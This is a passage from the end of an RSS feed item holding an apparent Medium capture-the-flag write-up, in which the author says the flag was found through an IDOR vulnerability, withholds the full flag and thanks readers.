src="https://cdn-images-1.medium.com/max/1024/1*aCHkYPRlLcsFw4SiEkqt8Q.png" /></figure><p>And voila! we were able to find the flag by exploiting the IDOR vulnerability. I have not shown you the entire flag so that you guys can try it out yourself.</p><p>Thanks for reading. Hope you liked this writeup.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4a5704cc58bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>